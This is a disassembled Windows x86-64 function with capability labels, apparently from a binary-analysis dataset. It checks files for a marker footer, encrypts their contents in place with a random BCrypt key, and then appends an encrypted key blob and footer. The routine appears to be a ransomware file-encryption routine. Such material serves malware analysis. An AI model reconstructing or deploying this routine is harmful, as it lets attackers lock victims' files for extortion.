Function at 0x1400024f0
Capabilities:
Encrypt or decrypt data via bcrypt
Generate random numbers via winapi
Get file size
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 8], rcx
push rbp
push rsi
push r12
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov r12, rcx
mov rsi, r8
mov rcx, rdx
call fcn.140001dc0
mov qword [rsi + 0x18], rax
cmp rax, 0xffffffffffffffff
jne 0x140002530
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x14000288a
mov rcx, qword [rsi + 0x18]
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x14000254f
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x14000288a
mov rdx, qword [rsi]
mov qword [rsp + 0x158], rbx
mov qword [rsp + 0x128], rdi
test rdx, rdx
je 0x140002b61
mov dword [rsi + 0x14], 0x2846207e
mov r8d, 0x80000000
mov dword [rsi + 0x10], 0x20001
cmp rdx, r8
mov eax, 0x15
mov edi, 0x18
mov ecx, 0x1b
cmovb ecx, eax
sbb eax, eax
add eax, 2
mov dword [rsi + 0xc], eax
cmp rdx, r8
mov eax, 0x1e
cmovb eax, edi
mov byte [rsi + 8], al
mov eax, 0x20
mov byte [rsi + 9], cl
mov byte [rsi + 0xa], cl
mov ecx, 0x1a
cmovb eax, ecx
mov byte [rsi + 0xb], al
cmp rdx, rdi
jb 0x140002620
mov rbx, qword [rsi + 0x18]
add rdx, 0xffffffffffffffe8
mov rcx, rbx
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140002605
lea r9, [rbp + 0x68]
mov qword [rsp + 0x20], 0
mov r8d, edi
lea rdx, [rbp - 8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1400026c0
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x14000287a
cmp dword [rbp + 0xc], 0x2846207e
je 0x140002b61
movzx ecx, byte [rsi + 8]
mov edx, 1
mov r8, qword [rsi]
mov eax, edx
shl rax, cl
movzx ecx, byte [rsi + 9]
mov qword [rbp - 0x78], rax
mov eax, edx
shl rax, cl
movzx ecx, byte [rsi + 0xa]
mov qword [rbp - 0x70], rax
mov eax, edx
shl rax, cl
movzx ecx, byte [rsi + 0xb]
shl rdx, cl
mov ecx, dword [rsi + 0xc]
mov qword [rbp - 0x68], rax
lea rax, [r8 + 0xf]
movups xmm1, xmmword [rbp - 0x70]
and rax, 0xfffffffffffffff0
mov qword [rsp + 0x120], r13
mov qword [rbp - 0x80], r8
mov qword [rbp - 0x60], rdx
mov qword [rbp - 0x58], 0
mov qword [rsp + 0x118], r14
mov qword [rsp + 0x110], r15
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rbp - 0x28], xmm1
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x38], rax
movups xmm0, xmmword [rbp - 0x60]
movups xmmword [rbp - 0x18], xmm0
test ecx, ecx
je 0x1400026de
sub ecx, 1
je 0x1400026d5
cmp ecx, 1
jne 0x140002b4e
lea r13, [0x140001130]
jmp 0x1400026e5
cmp dword [rbp + 0x68], edi
je 0x140002613
mov rax, 0xffffffffffffffff
jmp 0x14000287a
lea r13, [0x1400010b0]
jmp 0x1400026e5
lea r13, [0x140001080]
mov rax, qword [r12 + 0x70]
xor r15d, r15d
mov rdx, qword [r12 + 0x80]
xor r9d, r9d
mov rcx, qword [r12 + 0x40]
mov qword [rsp + 0x78], rax
mov rax, qword [r12 + 0x68]
lea r8d, [r15 + 0x30]
mov qword [rbp - 0x48], rax
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x58], r15
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
test eax, eax
jne 0x140002862
mov rax, qword [r12 + 0x80]
lea rdx, [rsi + 0x30]
mov rcx, qword [r12 + 0x50]
xor r9d, r9d
mov dword [rsp + 0x30], r15d
xor r8d, r8d
mov dword [rsp + 0x28], 0x20
mov qword [rsp + 0x20], rax
call qword [sym.imp.bcrypt.dll_BCryptGenerateSymmetricKey]
test eax, eax
jne 0x140002862
mov rax, qword [r12 + 0x80]
xor r14b, r14b
xor dil, dil
mov rcx, qword [rax + 0x20]
mov qword [rsi + 0x20], rcx
mov rax, qword [r12 + 0x80]
mov rcx, qword [rax + 0x28]
mov qword [rsi + 0x28], rcx
mov rax, qword [rsp + 0x50]
test rax, rax
jne 0x1400027f0
test r14b, r14b
jne 0x1400027f0
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x80]
call r13
test al, al
jne 0x1400027e6
lea rbx, [r15 + 0xf]
and rbx, 0xfffffffffffffff0
mov r8, rbx
sub r8, r15
je 0x1400027e3
mov rdx, qword [rsp + 0x78]
xor r9d, r9d
mov rcx, qword [r12 + 0x40]
add rdx, r15
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
test eax, eax
jne 0x140002862
mov r15, rbx
mov r14b, 1
mov rax, qword [rsp + 0x50]
test rax, rax
je 0x140002798
mov rcx, qword [rbp - 0x48]
sub rcx, r15
je 0x1400028c0
test r14b, r14b
jne 0x1400028c0
mov rbx, rcx
cmp rax, rcx
jge 0x140002817
mov rbx, rax
jg 0x140002b4e
mov rsi, qword [rsi + 0x18]
xor r9d, r9d
mov rdx, qword [rsp + 0x60]
mov rcx, rsi
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140002858
mov rdx, qword [rsp + 0x78]
lea r9, [rbp + 0x68]
add rdx, r15
mov qword [rsp + 0x20], 0
mov r8d, ebx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140002896
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x1400028a2
mov r14, qword [rsp + 0x118]
mov r13, qword [rsp + 0x120]
mov r15, qword [rsp + 0x110]
mov rbx, qword [rsp + 0x158]
mov rdi, qword [rsp + 0x128]
add rsp, 0x130
pop r12
pop rsi
pop rbp
ret
mov eax, dword [rbp + 0x68]
cmp rax, rbx
jne 0x140002b4e
mov rax, qword [rsp + 0x50]
add r15, rbx
mov rsi, qword [rbp + 0x60]
sub rax, rbx
add qword [rsp + 0x60], rbx
mov qword [rsp + 0x50], rax
jmp 0x140002793
mov rcx, qword [r12 + 0x78]
lea rdx, [rbp - 0x50]
mov dword [rsp + 0x48], 0
lea rax, [rsi + 0x20]
mov qword [rsp + 0x40], rdx
xor r9d, r9d
mov rdx, qword [r12 + 0x70]
mov r8d, r15d
mov dword [rsp + 0x38], r15d
mov qword [rsp + 0x30], rcx
mov rcx, qword [rsi + 0x30]
mov dword [rsp + 0x28], 0x10
mov qword [rsp + 0x20], rax
call qword [sym.imp.bcrypt.dll_BCryptEncrypt]
test eax, eax
jne 0x140002862
mov rax, qword [r12 + 0x78]
xor r12d, r12d
mov qword [rbp - 0x40], rax
mov rax, qword [rsp + 0x58]
nop
test rax, rax
jne 0x140002955
test dil, dil
jne 0x140002955
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x38]
call r13
test al, al
jne 0x14000294b
test r14b, r14b
je 0x140002b4e
mov dil, 1
mov rax, qword [rsp + 0x58]
test rax, rax
je 0x140002925
mov rcx, r15
sub rcx, r12
je 0x1400029ee
mov rbx, rcx
cmp rax, rcx
jge 0x140002972
mov rbx, rax
jg 0x140002b4e
mov rsi, qword [rsi + 0x18]
xor r9d, r9d
mov rdx, qword [rsp + 0x68]
mov rcx, rsi
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1400029b3
mov rdx, qword [rbp - 0x40]
lea r9, [rsp + 0x70]
add rdx, r12
mov qword [rsp + 0x20], 0
mov r8d, ebx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400029c3
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140002862
jmp 0x1400029d0
mov eax, dword [rsp + 0x70]
cmp rax, rbx
jne 0x140002b4e
mov rax, qword [rsp + 0x58]
add r12, rbx
mov rsi, qword [rbp + 0x60]
sub rax, rbx
add qword [rsp + 0x68], rbx
mov qword [rsp + 0x58], rax
jmp 0x140002920
xor r15d, r15d
test dil, dil
jne 0x1400029ff
mov r12, qword [rbp + 0x50]
jmp 0x14000278e
test rax, rax
je 0x140002a0d
mov r12, qword [rbp + 0x50]
jmp 0x14000278e
mov rdi, qword [rbp + 0x50]
lea rcx, [rbp + 0x68]
mov dword [rsp + 0x48], 2
xor r9d, r9d
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x38], 0x200
mov rax, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x80]
lea r8d, [r9 + 0x30]
mov rcx, qword [rdi + 0x58]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
call qword [sym.imp.bcrypt.dll_BCryptEncrypt]
test eax, eax
jne 0x140002862
mov rcx, qword [rsi + 0x30]
call qword [sym.imp.bcrypt.dll_BCryptDestroyKey]
test eax, eax
jne 0x140002a72
mov qword [rsi + 0x30], r15
mov rbx, qword [rsi]
xor r9d, r9d
mov r14, qword [rbp + 0x60]
add rbx, 0xf
mov rsi, qword [rdi + 0x88]
and rbx, 0xfffffffffffffff0
xor r8d, r8d
mov rdx, rbx
mov rdi, qword [r14 + 0x18]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140002ac1
lea r9, [rbp + 0x60]
mov qword [rsp + 0x20], r15
mov r8d, 0x200
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140002ad0
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x140002ad9
jmp 0x140002862
cmp dword [rbp + 0x60], 0x200
jne 0x140002b4e
mov rdi, qword [r14 + 0x18]
lea rdx, [rbx + 0x200]
mov rcx, rdi
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140002b16
lea r9, [rbp + 0x60]
mov qword [rsp + 0x20], r15
mov r8d, 0x18
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140002b48
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140002862
mov rcx, qword [r14 + 0x18]
mov rax, 0xffffffffffffffff
mov qword [r14 + 0x18], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x140002b5a
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140002862
cmp dword [rbp + 0x60], 0x18
je 0x140002b24
mov rax, 0xffffffffffffffff
jmp 0x140002862
xor eax, eax
jmp 0x140002862
xor eax, eax
jmp 0x14000287a